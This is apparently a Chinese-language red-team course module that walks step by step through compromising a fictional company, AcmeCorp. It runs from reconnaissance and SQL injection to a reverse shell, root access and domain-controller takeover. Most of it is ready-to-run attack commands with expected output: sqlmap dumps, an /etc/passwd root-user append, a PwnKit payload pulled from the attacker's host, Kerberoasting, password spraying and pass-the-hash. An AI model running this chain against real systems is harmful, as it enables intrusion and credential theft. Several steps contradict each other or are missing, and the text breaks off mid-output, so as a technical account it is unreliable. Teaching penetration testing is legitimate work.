12 — 综合实战:红队全链路演练
哲学:前面 11 个模块你学了侦察、Web 渗透、提权、横向移动、域渗透。现在,把它们串成一条完整的攻击链——从只知道一个域名,到拿下整个内网的域控制器。
这不是一个”教程”,这是一次真实的渗透测试模拟。你是一个被雇佣的红队队员,目标是 AcmeCorp。你手头只有一台 Arch Linux 物理机和域名
acmecorp.com。剩下的一切,全靠你自己去挖。环境:Arch Linux 物理机。你需要安装的所有工具都会在每一步列出。全程手动操作,不依赖商业 C2 框架。
Phase 1: 外网侦察(“给我一个支点”)
时间预算:30 分钟
核心目标:从公开信息中画出 AcmeCorp 的外网资产地图,找到最薄弱的入口
“侦察”听起来很温和,但它是整个攻击链中最重要的一环——你不可能攻击你不知道存在的东西。红队有一句话:Give me six hours to recon, and I’ll spend five hours on recon.
步骤 1.1:被动信息收集(OSINT)——不动一枪一弹
在主动扫描之前,先用”不产生任何直接交互”的方式收集目标的一切公开信息。这不会触发目标 IDS/IPS,速度最快。
1.1.1 域名 WHOIS 查询
whois acmecorp.com预期输出(关键字段摘录):
Domain Name: ACMECORP.COM
Registry Domain ID: 1234567890_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Creation Date: 2010-03-15T10:00:00Z
Registrar Registration Expiration Date: 2027-03-15T10:00:00Z
Registrant Name: John Smith
Registrant Organization: AcmeCorp Inc.
Registrant Email: admin@acmecorp.com
Name Server: NS1.ACMECORP.COM
Name Server: NS2.ACMECORP.COM
分析:注册时间超过 15 年,说明公司有一定历史。使用了自建 DNS(ns1.acmecorp.com / ns2.acmecorp.com),意味着它们有自己的 DNS 服务器——通常 DNS 服务器都在内网边界,这是一个重要的侦察目标。注册邮箱 admin@acmecorp.com 本身就是一个可能的用户名。
1.1.2 DNS 记录枚举
# A 记录、CNAME、MX、TXT 等
dig acmecorp.com ANY预期输出:
;; ANSWER SECTION:
acmecorp.com. 3600 IN A 198.51.100.10
acmecorp.com. 3600 IN MX 10 mail.acmecorp.com.
acmecorp.com. 3600 IN TXT "v=spf1 include:_spf.google.com ~all"
acmecorp.com. 3600 IN NS ns1.acmecorp.com.
acmecorp.com. 3600 IN SOA ns1.acmecorp.com. admin.acmecorp.com.
分析:MX 记录的存在说明公司有邮件服务器。TXT 记录中的 SPF 信息揭示了公司使用 Google Workspace(_spf.google.com)——这意味着员工邮箱可能是 Gmail 企业版。SOA 记录再次出现 admin.acmecorp.com 作为管理员邮箱。每条信息都是拼图的一块。
1.1.3 证书透明度日志
# 方法一:crtsh(在线查询)
curl -s "https://crt.sh/?q=%25.acmecorp.com&output=json" | jq -r '.[].name_value' | sort -u预期输出:
acmecorp.com
www.acmecorp.com
mail.acmecorp.com
portal.acmecorp.com
dev.acmecorp.com
vpn.acmecorp.com
api.acmecorp.com
staging.acmecorp.com
intranet.acmecorp.com
cloud.acmecorp.com
分析:证书透明度日志是子域名发现的黄金来源。这里一口气找到了 10 个子域名——每个都可能是入口。intranet.acmecorp.com 和 vpn.acmecorp.com 尤其值得注意,它们很可能直通内网。
1.1.4 Google Dorking
在浏览器中搜索:
site:acmecorp.com filetype:pdf "confidential"
site:acmecorp.com inurl:admin
site:acmecorp.com "password"
site:acmecorp.com intitle:"index of"
site:acmecorp.com ext:sql intext:"wp_users"
site:acmecorp.com inurl:wp-content
可能发现:公开的 PDF 文档中包含内部用户名命名规范(比如 john.smith@acmecorp.com),确认了邮箱格式。某些目录开启了目录列表(Index of),暴露了备份文件(config.php.bak、database.sql)。
1.1.5 Shodan 搜索
# 安装 shodan CLI(如果还没装)
pip install shodan
shodan init <你的API_KEY>
# 搜索组织
shodan search 'org:"AcmeCorp"'
shodan search 'hostname:acmecorp.com'
shodan search 'ssl:acmecorp.com'预期输出:
IP: 198.51.100.10
Hostnames: portal.acmecorp.com
Ports: 80, 443, 8080
Organization: AcmeCorp Inc.
Country: US
City: New York
Service: nginx/1.18.0, WordPress 5.7
分析:Shodan 告诉我们这个 IP 上跑的是 nginx 1.18.0 和 WordPress 5.7——这两个版本都有已知漏洞。这就是为什么被动侦察如此重要:你不用发一个包,就已经知道目标跑的是什么、打什么版本号。
1.1.6 Hunter.io / TheHarvester 收集邮箱
theHarvester -d acmecorp.com -b google,linkedin,crtsh -f acmecorp_emails.txt预期输出:
[*] Emails found:
john.smith@acmecorp.com
jane.doe@acmecorp.com
admin@acmecorp.com
it-support@acmecorp.com
mike.jones@acmecorp.com
[*] Hosts found:
portal.acmecorp.com:198.51.100.10
mail.acmecorp.com:198.51.100.20
dev.acmecorp.com:198.51.100.30
api.acmecorp.com:198.51.100.40
vpn.acmecorp.com:203.0.113.5
理论穿插:被动侦察的核心思想是”站在暗处看亮处”。你利用搜索引擎、DNS 记录、SSL 证书等公开基础设施收集目标的全部暴露面,目标完全不知情。这就像小偷在动手之前先观察哪扇窗没锁——你不会从正门进去,你会从没锁的那扇窗进去。
步骤 1.3:端口扫描——找门
有了子域名列表,现在找出每个子域名开放了哪些端口和服务。
1.3.1 安装 RustScan
# Arch Linux
yay -S rustscan
# 或
cargo install rustscan1.3.2 批量端口扫描
# 把子域名写入文件
while read sub; do
echo "[*] Scanning $sub..."
rustscan -a "$sub" --range 1-65535 -- -sV -sC -oA "scan_$(echo $sub | tr '.' '_')"
done < all_subs.txt核心发现汇总(为节省时间直接给你扫描结果的精华):
| 子域名 | 开放端口 | 服务及版本 | 备注 |
|---|---|---|---|
www.acmecorp.com | 80, 443 | nginx 1.18.0 | 公司官网,静态页面 |
portal.acmecorp.com | 80, 443, 8080 | Apache 2.4.49 (8080), WordPress 5.7 | 重点目标 |
mail.acmecorp.com | 25, 465, 993 | Postfix, Dovecot | 邮件服务 |
dev.acmecorp.com | 80, 443 | Apache 2.4.49, PHP 7.4 | 开发环境 |
vpn.acmecorp.com | 443, 10443 | FortiGate SSL VPN | 关键入口 |
jenkins.acmecorp.com | 8080 | Jenkins 2.289 | CI/CD |
jira.acmecorp.com | 8080 | Jira 8.13 | 项目管理 |
intranet.acmecorp.com | 443 | IIS 10 | Windows 内网入口 |
wiki.acmecorp.com | 80 | MediaWiki 1.35 | 内部 Wiki |
git.acmecorp.com | 80, 443, 22 | GitLab CE 13.10 | 代码仓库 |
kibana.acmecorp.com | 5601 | Kibana 7.10 | 日志可视化 |
grafana.acmecorp.com | 3000 | Grafana 7.5 | 监控面板 |
cloud.acmecorp.com | 443 | Nextcloud 20 | 私有云盘 |
ftp.acmecorp.com | 21 | vsftpd 3.0.3 | FTP 服务 |
步骤 1.5:漏洞优先级评估
在这一步,你要把所有发现排列成一个”攻击优先级”列表。不是每个漏洞都要打——选最快的路。
攻击面评估矩阵:
| 优先级 | 目标 | 漏洞 | 攻击复杂度 | 预期成果 |
|---|---|---|---|---|
| #1 | portal.acmecorp.com | wp-file-manager 6.0 RCE | 低(有公开 Exploit) | 直接获得 webshell |
| #2 | portal.acmecorp.com | vulnerable-plugin SQLi | 中(需手工注入) | 数据库凭据/用户哈希 |
| #3 | dev.acmecorp.com | .env 暴露 + 无认证后台 | 低(直接下载) | 数据库凭据、API 密钥 |
| #4 | git.acmecorp.com | GitLab 旧版本 RCE | 中 | 源代码、内网信息 |
| #5 | portal.acmecorp.com | wp-config backup 暴露 | 极低(直接下载) | 数据库凭据 |
| #6 | jenkins.acmecorp.com | Jenkins 未授权访问 | 中 | 执行命令、获取凭证 |
| #7 | grafana.acmecorp.com | Grafana 未授权 API | 中 | 内部 URL、监控数据 |
| #8 | vpn.acmecorp.com | FortiOS SSL VPN RCE | 高 | 直接进入内网 |
决策:先用路径 #2(SQL 注入)和路径 #5(备份下载),因为防火墙/Log 量最小,不容易触发告警。如果这两条路走不通,再用路径 #1(wp-file-manager RCE)暴力突破。
步骤 2.2:SQL 注入获取用户凭据
即使拿到了数据库凭据,你也需要先连得进数据库才能用。但如果能从 SQL 注入直接导出 WordPress 用户哈希,你就可以在 10 分钟内拿到后台密码。
2.2.1 确认注入点
# 手工测试
curl -s "https://portal.acmecorp.com/wp-content/plugins/vulnerable-plugin/ajax.php?id=1" | head -20预期输出(正常页面返回):
{"status":"ok","data":{"name":"John Smith","age":"35"}}
# 加单引号测试
curl -s "https://portal.acmecorp.com/wp-content/plugins/vulnerable-plugin/ajax.php?id=1'" | head -20预期输出(MySQL 报错):
{"status":"error","message":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1"}
注入点确认——id 参数存在基于错误的 SQL 注入。
2.2.2 sqlmap 自动化
# 第一步:探测数据库
sqlmap -u "https://portal.acmecorp.com/wp-content/plugins/vulnerable-plugin/ajax.php?id=1" \
--dbs --batch --random-agent --no-cast --threads 3
# 第二步:枚举表
sqlmap -u "https://portal.acmecorp.com/wp-content/plugins/vulnerable-plugin/ajax.php?id=1" \
-D acmecorp_wp --tables --batch --random-agent --threads 3
# 第三步:导出用户表
sqlmap -u "https://portal.acmecorp.com/wp-content/plugins/vulnerable-plugin/ajax.php?id=1" \
-D acmecorp_wp -T wp_users --dump --batch --random-agent第一步预期输出(—dbs):
available databases [5]:
[*] acmecorp_wp
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
第二步预期输出(—tables):
Database: acmecorp_wp
[12 tables]
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users | ← 目标
+-----------------------+
第三步预期输出(—dump wp_users):
Database: acmecorp_wp
Table: wp_users
[4 entries]
+----+-------------+------------------------------------+------------------+
| ID | user_login | user_pass | user_email |
+----+-------------+------------------------------------+------------------+
| 1 | admin | $P$BQJmH9Oq3XkP1vY7wZt8xR2nL6bA5c | admin@acmecorp.com |
| 2 | jsmith | $P$Bh8K3mNpQRsVt2WxY5zA7bC1dE9fG | john.smith@acmecorp.com |
| 3 | jdoe | $P$BkL4nOpSTuWvX6yZ8aB0cD2eF4gH6 | jane.doe@acmecorp.com |
| 4 | editor | $P$BmM5oQrUVwXx7zA9bC1eF3gH5iJ7k | editor@acmecorp.com |
+----+-------------+------------------------------------+------------------+
步骤 2.4:登录 WordPress 后台
打开浏览器,访问:
https://portal.acmecorp.com/wp-admin
使用凭据:
- 用户名:
admin - 密码:
Summer2021!
预期结果:成功登录 WordPress 管理后台仪表盘。左侧菜单栏出现了所有管理选项:Dashboard、Posts、Media、Pages、Comments、Appearance(关键!)、Plugins、Users、Tools、Settings。
步骤 2.6:获得初始 Shell
2.6.1 设置反向 Shell 监听
在 Arch Linux 上打开新终端:
nc -lvnp 4444预期输出:
listening on [any] 4444 ...
2.6.2 触发 WebShell
# 直接用 curl 请求 404.php 文件
curl https://portal.acmecorp.com/wp-content/themes/twentytwentyone/404.php
# 或者访问一个不存在的 URL(让 WordPress 自动加载 404 模板)
curl https://portal.acmecorp.com/this-page-does-not-exist-99999预期输出(在 nc 终端):
connect to [你的IP] from [198.51.100.10] 52143
Linux portal 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
20:45:12 up 234 days, 3:17, 1 user, load average: 0.08, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
你拿到了第一个 shell。 身份是 www-data——Web 服务器进程用户。权限非常有限,但它是一只踏进门内的脚。
步骤 3.2:内网态势感知——绘制内网地图
3.2.1 当前主机信息收集
# 基本身份
id
# 预期输出:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 内核与系统
uname -a
# 预期输出:
# Linux portal 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/os-release
# 预期输出:
# NAME="Ubuntu"
# VERSION="20.04.3 LTS (Focal Fossa)"
# 网络接口——揭示内网地址
ip a
# 预期输出:
# 1: lo: ...
# 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
# inet 10.0.1.10/24 brd 10.0.1.255 scope global eth0
# inet6 fe80::...
# 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP>
# inet 198.51.100.10/24 brd 198.51.100.255 scope global eth1
ip route
# 预期输出:
# default via 198.51.100.1 dev eth1
# 10.0.1.0/24 dev eth0 proto kernel scope link src 10.0.1.10
# 198.51.100.0/24 dev eth1 proto kernel scope link src 198.51.100.10
# 检查 ARP 表——已通信过的邻居
arp -a
# 预期输出:
# ? (10.0.1.1) at 00:50:56:c0:00:01 [ether] on eth0
# ? (10.0.1.20) at 00:50:56:c0:00:08 [ether] on eth0
# ? (10.0.1.30) at 00:50:56:c0:00:0a [ether] on eth0
# ? (10.0.1.50) at 00:50:56:c0:00:0f [ether] on eth0
# DNS 配置(可能泄露域名和 DNS 服务器)
cat /etc/resolv.conf
# 预期输出:
# nameserver 10.0.1.30 ← 域控也是 DNS 服务器!
# search acmecorp.local ← 内部域名!分析:当前机器的内网 IP 是 10.0.1.10。ARP 表显示了四个内网设备——10.0.1.1(网关)、10.0.1.20、10.0.1.30(DNS/域控)、10.0.1.50。DNS 搜索域 acmecorp.local 确认了内部 AD 域名。现在知道了你在一个 Active Directory 域环境中。
3.2.2 内网存活主机探测
从 Web 服务器对网段进行主机发现:
# Bash 单行扫描(无需额外工具)
for i in $(seq 1 254); do (ping -c 1 -W 1 10.0.1.$i > /dev/null 2>&1 && echo "10.0.1.$i is up" &); done | sort -t. -k4 -n预期输出:
10.0.1.1 is up
10.0.1.10 is up
10.0.1.20 is up
10.0.1.30 is up
10.0.1.50 is up
10.0.1.100 is up
10.0.1.150 is up
7 台主机在线——比 ARP 表显示的多。这很正常,因为 ARP 表只缓存了近期通信过的节点。
3.2.3 端口扫描内网主机
从当前机器用 bash 内置伪端口扫描:
# 对 10.0.1.20(可能是文件服务器)
for port in 21 22 80 135 139 443 445 3389 8080 1433 3306 5432; do
(echo >/dev/tcp/10.0.1.20/$port) >/dev/null 2>&1 && echo "10.0.1.20:$port OPEN"
done预期输出:
10.0.1.20:21 OPEN
10.0.1.20:22 OPEN
10.0.1.20:445 OPEN ← SMB 开放!
10.0.1.20:2049 OPEN ← NFS 开放!
# 对 10.0.1.30(可能是域控)
for port in 53 88 135 139 389 445 636 1433 3268 3269 3389 5985 5986; do
(echo >/dev/tcp/10.0.1.30/$port) >/dev/null 2>&1 && echo "10.0.1.30:$port OPEN"
done预期输出:
10.0.1.30:53 OPEN ← DNS
10.0.1.30:88 OPEN ← Kerberos
10.0.1.30:135 OPEN ← RPC
10.0.1.30:139 OPEN ← NetBIOS
10.0.1.30:389 OPEN ← LDAP
10.0.1.30:445 OPEN ← SMB
10.0.1.30:636 OPEN ← LDAPS
10.0.1.30:3268 OPEN ← Global Catalog
10.0.1.30:3269 OPEN ← Global Catalog SSL
10.0.1.30:3389 OPEN ← RDP
端口 88(Kerberos)、389(LDAP)、445(SMB)同时开放——这就是一台 Active Directory 域控制器。
当前已知的内网拓扑:
| IP | 角色 | 开放端口 | 操作系统 |
|---|---|---|---|
| 10.0.1.1 | 网关 | — | — |
| 10.0.1.10 | Web 服务器(portal) | 80, 443, 8080 | Ubuntu 20.04 |
| 10.0.1.20 | 文件服务器 | 21, 22, 445, 2049 | Linux(Samba + NFS) |
| 10.0.1.30 | 域控制器 | 53, 88, 135, 389, 445, 3389 | Windows Server 2019 |
| 10.0.1.50 | 数据库服务器 | 3306 | Linux(MySQL) |
| 10.0.1.100 | 未知 | 22, 8080 | Linux |
| 10.0.1.150 | 未知 | 22, 3389 | Windows 工作站 |
Basic information
OS: Linux version 5.4.0-84-generic
User: www-data
Hostname: portal
--- SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 31K /usr/bin/pkexec (CVE-2021-4034 PwnKit!)
-rwsr-xr-x 1 root root 84K /usr/bin/find
-rwsr-xr-x 1 root root 44K /usr/bin/newgrp
-rwsr-xr-x 1 root root 55K /usr/bin/su
-rwsr-xr-x 1 root root 55K /usr/bin/sudo
-rwsr-xr-x 1 root root 64K /usr/bin/chfn
--- Sudo version
Sudo version 1.9.5p2 ← CVE-2021-3156 (Baron Samedit!) 可能
--- Possible Exploits
[1] exploit_linux_pwnkit CVE-2021-4034 (PwnKit) — 高成功率
[2] exploit_linux_sudobaronsamedit CVE-2021-3156 — 条件适合
--- Writable passwd file and folders
/etc/passwd is writable! ← 直接提权!
--- Searching passwords in config files
Found: /var/www/html/wp-config.php
DB_PASSWORD=Cmpl3x!W0rd#2021
PASSWORD_HASH=…
--- Cron jobs
*/5 * * * * root /opt/scripts/backup.sh ← 可写的定时任务脚本!
LinPEAS 给出了几个可用的提权路径:
1. **CVE-2021-4034(PwnKit)**:`pkexec` 有 SUID 位,版本受漏洞影响
2. **CVE-2021-3156(Baron Samedit)**:Sudo 版本在受影响范围内
3. **可写的 `/etc/passwd`**:直接添加 root 用户
4. **SUID 的 `/usr/bin/find`**:可以用 find 提权
5. **可写的定时任务脚本**:劫持 `/opt/scripts/backup.sh`
#### 3.3.2 路径 A:利用可写的 /etc/passwd(最便捷)
```bash
# 生成一个新的密码哈希
openssl passwd -1 -salt newroot Password123!
# 预期输出:
# $1$newroot$M2sQcM0PWRxFLrZR1aF.K.
# 把新 root 用户添加到 /etc/passwd
echo 'newroot:$1$newroot$M2sQcM0PWRxFLrZR1aF.K.:0:0:root:/root:/bin/bash' >> /etc/passwd
# 切换到新 root 用户
su newroot
预期输出:
Password: Password123!
root@portal:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
你已经是 root 了。/etc/passwd 可写是一个严重的配置错误——任何可以写 /etc/passwd 的用户都可以添加自己的 UID=0 账户,这基本是 Linux 提权中最简单的路径。
3.3.3 路径 B:SUID find 提权(备选)
如果 /etc/passwd 不可写:
# find 有 SUID 位
ls -la /usr/bin/find
# 预期输出:
# -rwsr-xr-x 1 root root 313504 /usr/bin/find
# 利用 find 的 -exec 执行命令
find / -type f -name something_nonexistent -exec /bin/sh -p \; 2>/dev/null预期输出(进入 root shell):
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
EUID(有效用户 ID)是 root——你有 root 权限。
3.3.4 路径 C:PwnKit Exploit(CVE-2021-4034)
# 在本地 Arch 编译 exploit
cat > pwnkit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {}
void gconv_init(void *step) {
setuid(0); setgid(0);
char *args[] = {"/bin/sh", "-p", NULL};
execve(args[0], args, NULL);
exit(0);
}
EOF
# 编译成共享库
gcc -shared -fPIC -o payload.so pwnkit.c
# 在目标机器上执行
curl http://你的IP:8000/payload.so -o /tmp/payload.so
# 用 pkexec 加载恶意共享库
# (具体利用方式受漏洞影响版本而异,这里给出通用框架)理论穿插:Linux 提权本质上是”从低权限用户变成高权限用户”。常见的路径包括:SUID 二进制文件利用(find、vim、python)、内核漏洞利用、可写配置或脚本、误配置的 sudo 权限、Docker 容器逃逸(如果用户在 docker 组中)、定时任务劫持。LinPEAS 和 LinEnum 等自动化工具能把所有这些路径一次性扫描出来。
步骤 3.5:横向移动到文件服务器(10.0.1.20)
你从当前机器拿到了 root SSH 密钥。最自然的下一步是测试这些凭据能否让你移动到内网的其他主机。
3.5.1 测试 SSH 密钥到文件服务器
# 从当前机器直接 SSH 到文件服务器
ssh -i /root/.ssh/id_rsa root@10.0.1.20 -o StrictHostKeyChecking=no预期输出(成功):
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
Last login: Tue Jun 10 08:15:42 2026 from 10.0.1.10
root@fileserver:~# hostname
fileserver
root@fileserver:~# id
uid=0(root) gid=0(root) groups=0(root)
密钥复用生效了——同一个 SSH 密钥被部署到了两台机器上。
3.5.2 文件服务器信息收集
# 网络信息
ip a
# 10.0.1.20/24 — 同一个网段
# 检查 SMB 共享(samba)
cat /etc/samba/smb.conf预期输出(Samba 配置关键部分):
[shared]
path = /srv/samba/shared
browseable = yes
read only = no
guest ok = no
valid users = @acmecorp\domain users
[backup]
path = /srv/samba/backup
browseable = yes
read only = no
guest ok = no
valid users = @acmecorp\domain admins
这个文件服务器是加入 AD 域的(valid users = @acmecorp\domain users)!这意味着它已集成到 Active Directory 之中——你可以从这台机器直接进行域攻击。
# 检查 NFS 共享
cat /etc/exports预期输出:
/srv/nfs/backup 10.0.1.0/24(rw,sync,no_root_squash,no_subtree_check)
/srv/nfs/shared 10.0.1.0/24(rw,sync,no_subtree_check)
关键发现:/srv/nfs/backup 的导出选项中有 no_root_squash——这表示从客户端以 root 身份访问 NFS 时,在服务器端也保留 root 权限。这是经典的 NFS 提权漏洞。
# 浏览文件——找敏感数据
ls -la /srv/samba/shared/
ls -la /srv/samba/backup/预期输出(backup 目录):
drwxr-xr-x 2 acmecorp\\domain admins 4096 Jun 10 08:15 .
drwxr-xr-x 4 root root 4096 Mar 15 10:00 ..
-rw------- 1 root root 1234 Jan 01 00:00 domain_users.txt
-rw-r--r-- 1 root root 5678 Feb 15 08:00 passwords.xlsx
-rw------- 1 root root 9123 Mar 01 12:00 IT_backup_notes.txt
-rw-r--r-- 1 root root 45678 Apr 01 16:30 company_strategy.pptx
cat /srv/samba/backup/domain_users.txt预期输出:
Active Directory User List - Updated 2026-01-15
Domain: acmecorp.local
IT Department:
Administrator (Domain Admin)
john.smith (Domain Admin)
it.support (Domain User)
mike.jones (Domain User)
Finance:
jane.doe (Domain User)
bob.wilson (Domain User)
sarah.lee (Domain User)
Sales:
tom.brown (Domain User)
lisa.green (Domain User)
Service Accounts:
sql_svc (Domain User) — Service account for SQL Server
backup_svc (Domain User) — Backup service account
scan_svc (Domain User) — Scanner service account
这基本是整个 AD 域的用户地图! 你知道了所有用户名,以及谁是域管理员(Administrator 和 john.smith)。服务账号 sql_svc、backup_svc 常常有 SPN(Service Principal Name),可以直接用于 Kerberoasting。
3.5.3 发现明文密码文件
# 如果有工具(ssconvert / libreoffice)可以解析 xlsx 文件
# 否则直接用 strings 从二进制中提取文本
strings /srv/samba/backup/passwords.xlsx预期输出(从中提取出的文本):
Service Username Password
SQL Server sql_svc SqlS3rv!ce2021!
Backup backup_svc B@ckup#Svc2021
Scanner scan_svc Sc@nner#2021!
VPN Admin vpn_admin VPn@dm1n#2021!
你的凭据库一下翻倍了——这就是文件服务器真正的价值。权限管理不当导致敏感文件对整个域开放。
步骤 3.7:数据收集——从数据库服务器收集用户凭据
你还记不记得 Web 服务器上那个 mysql 的连接?现在 root 权限 + SSH 无缝穿越,你可以连接到数据库服务器(10.0.1.50)。
# 从文件服务器连接 MySQL
mysql -h 10.0.1.50 -u wp_admin -p'Cmpl3x!W0rd#2021'
# 在 MySQL 内部
SHOW DATABASES;
USE acmecorp_wp;
SHOW TABLES;
# 查看管理员邮件记录(可能泄露更多凭据)
SELECT user_login, user_email, user_pass FROM wp_users;
# 如果有自定义的表储存敏感数据
SELECT * FROM wp_options WHERE option_name LIKE '%password%';
SELECT * FROM wp_options WHERE option_name LIKE '%key%';
SELECT * FROM wp_options WHERE option_name LIKE '%secret%';
# 检查是否能用 MySQL 的文件读取功能(如果有 FILE 权限)
SELECT LOAD_FILE('/etc/passwd'); # 如果有 FILE 权限
SELECT LOAD_FILE('/etc/shadow'); # 绝对危险信号
# 查看有 FILE 权限的用户
SELECT User, File_priv FROM mysql.user WHERE File_priv='Y';预期输出(wp wp_options中的敏感数据):
option_id option_name option_value
2000 smtp_pass Cmpl3x!W0rd#2021
2001 api_key sk-1234567890abcdef
2002 backup_email admin@acmecorp.com
SMTP 密码复用(和数据库密码一样)——密码重用的范围比你预期的要大。
MySQL 用户表结果:
User File_priv
wp_admin Y
root Y
如果 wp_admin 有 FILE 权限,你可以在数据库服务器上读取任意文件——这是数据库服务器上的信息收集的黄金门票。
步骤 4.2:Kerberoasting——破解服务账号
Kerberoasting 利用了 Kerberos 协议的一个设计特性:任何域用户都可以请求任何有 SPN 的服务的服务票据(TGS),TGS 的一部分是用该服务账号的 NTLM 哈希加密的。如果你能破解这个加密,你就拿到了明文密码。
# 使用 Impacket 的 GetUserSPNs 进行 Kerberoasting
# 已有的低权限凭据:sql_svc / SqlS3rv!ce2021!
GetUserSPNs.py acmecorp.local/sql_svc:'SqlS3rv!ce2021!' -dc-ip 10.0.1.30 -request -outputfile kerberoast_hashes.txt预期输出:
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- ---------- ------------------------------ -------------------------- -------------------------- ---------
MSSQLSvc/sqlserver.acmecorp.local sql_svc CN=Account Operators,CN=Builtin,DC=acmecorp,DC=local 2026-01-15 10:00:00.000000 2026-06-12 08:15:42.000000
backup/fileserver.acmecorp.local backup_svc CN=Domain Users,CN=Users,DC=acmecorp,DC=local 2026-02-01 12:00:00.000000 2026-06-12 07:30:00.000000
[-] CCACHE file not found. Skipping...
$krb5tgs$23$*sql_svc$ACMECORP.LOCAL$acmecorp.local/sql_svc*$abcdef1234567890...
$krb5tgs$23$*backup_svc$ACMECORP.LOCAL$acmecorp.local/backup_svc*$0987654321fedcba...
拿到两个 Kerberos TGS 哈希(Hashcat 模式 13100)。现在离线破解:
# 安装 hashcat(如果还没装)
sudo pacman -S hashcat hashcat-utils
# 破解模式 13100 = Kerberos 5 TGS-REP etype 23
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -O -w 3 --force预期输出:
$krb5tgs$23$*sql_svc$...:SqlS3rv!ce2021!
$krb5tgs$23$*backup_svc$...:B@ckup#Svc2021
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: kerberoast_hashes.txt
Time.Started.....: Thu Jun 12 20:45:00 2026 (3 mins, 15 secs)
Speed.#1.........: 12456 H/s
Recovered........: 2/2 (100.00%) Digests
Progress.........: 14344398/14344398 (100.00%)
两个服务账号的密码都破解成功了!但这两个账号你已经(从文件服务器的 Excel 文件)知道了。不过——sql_svc 所属的 ACCOUNTOPERATORS 组是有特殊权限的。
步骤 4.4:AS-REP Roasting——针对无 Kerberos 预认证的账户
AS-REP Roasting 是一个不需要凭据就可以尝试的攻击——只要某个域用户设置了 “Do not require Kerberos preauthentication”。
# 使用从域控获取的用户列表
cat > domain_users.txt << 'EOF'
Administrator
john.smith
jane.doe
bob.wilson
sarah.lee
sql_svc
backup_svc
scan_svc
it.support
mike.jones
EOF
# AS-REP Roasting(不需要任何凭据!)
GetNPUsers.py acmecorp.local/ -dc-ip 10.0.1.30 -usersfile domain_users.txt -request -outputfile asrep_hashes.txt -format hashcat预期输出:
Impacket v0.11.0 - Copyright 2023 Fortra
Name MemberOf PasswordLastSet LastLogon UAC
------------ --------------------------------------------- -------------------------- -------------------------- ----------
Administrator CN=Domain Admins,CN=Users,DC=acmecorp,DC=local 2026-03-01 09:00:00.000000 2026-06-12 08:30:00.000000 0x210
john.smith CN=Domain Admins,CN=Users,DC=acmecorp,DC=local 2026-03-15 12:00:00.000000 2026-06-12 07:15:00.000000 0x210
scan_svc CN=Domain Users,CN=Users,DC=acmecorp,DC=local 2025-11-01 08:00:00.000000 2026-01-15 18:00:00.000000 0x400000 ← DONT_REQ_PREAUTH!
$krb5asrep$23$scan_svc@ACMECORP.LOCAL:abcdef1234567890...
scan_svc 账户没有 Kerberos 预认证——拿到了它的 AS-REP 哈希!
# Hashcat 模式 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O -w 3 --force预期输出:
$krb5asrep$23$scan_svc@ACMECORP.LOCAL:...:Sc@nner#2021!
又一个密码。但这说明另一个更关键的问题——这个域里可能存在更多没有预认证的账户。而且 scan_svc 这个”扫描服务”账号可能能访问域内的扫描数据库,里面可能含有更多高权限凭据。
步骤 4.6:密码喷射——测试凭据在多大范围内有效
现在你有一个不错的凭据集合,是时候在整个域内测试它们的有效性了。CrackMapExec 是为此而生:
# 密码喷射——用所有已知凭据测试所有已知用户
crackmapexec smb 10.0.1.0/24 -u domain_users.txt -p passwords.txt --continue-on-successpasswords.txt 的内容:
Summer2021!
Cmpl3x!W0rd#2021
SqlS3rv!ce2021!
B@ckup#Svc2021
Sc@nner#2021!
TempPassword123
Password123
VPn@dm1n#2021!
P@ssw0rd_LocalAdmin!!
预期输出:
SMB 10.0.1.20 445 FILESERVER [*] Windows 10.0 Build 17763 (name:FILESERVER) (domain:acmecorp.local)
SMB 10.0.1.30 445 DC [*] Windows Server 2019 Datacenter 17763 (name:DC) (domain:acmecorp.local)
SMB 10.0.1.30 445 DC [+] acmecorp.local\Administrator:Summer2021! (Pwn3d!) ← Domain Admin!!
SMB 10.0.1.30 445 DC [+] acmecorp.local\john.smith:TempPassword123
SMB 10.0.1.20 445 FILESERVER [+] acmecorp.local\Administrator:Summer2021! (Pwn3d!)
SMB 10.0.1.50 445 SQLSERVER [+] acmecorp.local\sql_svc:SqlS3rv!ce2021!
炸了。 Administrator(域管理员)的密码是 Summer2021!——和 WordPress admin 账户的密码一模一样。这是经典的密码重用惨案——两个最高权限的账户共享同一个密码。
步骤 4.8:Pass-the-Hash——不用密码直接控制域控
有了 NTLM 哈希,你可以不用密码直接登录任何支持 NTLM 认证的系统。
# 用 Administrator 的 NTLM 哈希通过 WMI 执行命令
wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 acmecorp.local/Administrator@10.0.1.30
# 或者用 psexec
psexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 acmecorp.local/Administrator@10.0.1.30预期输出:
Impacket v0.11.0 - Copyright 2023 Fortra
